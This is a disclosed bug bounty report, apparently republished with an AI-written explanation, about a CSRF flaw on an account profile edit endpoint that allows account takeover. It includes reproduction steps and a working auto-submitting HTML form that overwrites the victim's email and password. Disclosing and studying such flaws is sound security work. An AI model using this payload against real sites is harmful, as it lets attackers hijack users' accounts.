CSRF leads to Account takeover
The account profile edit endpoint lacked CSRF protection, so an attacker could make a logged-in victim submit a form that changed the victim's email and password. This allowed the attacker to take over the account.
- Triaged in 19 hours
- Fixed in 13 days
- Disclosed after 3 months
Description: During my search in this domain I found it vulnerable to CSRF so I tried to escalate it Account takeover and I succeed
Impact
Account takeover via CSRF
System Host(s)
███████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Vulnerable domain and endpoint : https://██████████/account/profile/edit
- Click on this URL: https://█████████/account/register and fill in the required fields.
- You will be instructed to check your inbox for a verification email, but you can avoid this step and log in using the username and password you created on the registration page.
- Navigate to this endpoint https://███████/account/profile/edit and attempt to modify the first name and email and password.
- Observe this in the history of Burp Suite: https://███/account/profile/edit.
- You can notice there is no protection against CSRF on this endpoint.
- Executed the proof of concept (POC), and it worked.
##POC
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://████████/account/profile/edit" method="POST">
<input type="hidden" name="username" value="hacker" />
<input type="hidden" name="password" value="" />
<input type="hidden" name="cpassword" value="" />
<input type="hidden" name="email" value="mojejas248@esterace.com" />
<input type="hidden" name="save" value="Save" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Suggested Mitigation/Remediation Actions
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could take over a victim's account by changing their email and password through CSRF.
What the attacker needed
Victim is logged in; victim visits attacker page
How it was found
- Register a new account and fill in the required fields.
- Skip email verification and log in with the created username and password.
- Go to the account profile edit endpoint and try to change the first name, email and password.
- In Burp Suite history, see the profile edit request.
- Notice that the endpoint has no CSRF protection.
- Run the proof of concept and observe that it worked.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CSRF (Cross-Site Request Forgery) is when a malicious website makes a logged-in user's browser send a request to another site without the user knowing. Here, the profile edit page accepted changes without checking that the request really came from the site itself, so an attacker could change the victim's email and password and then log in as them.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.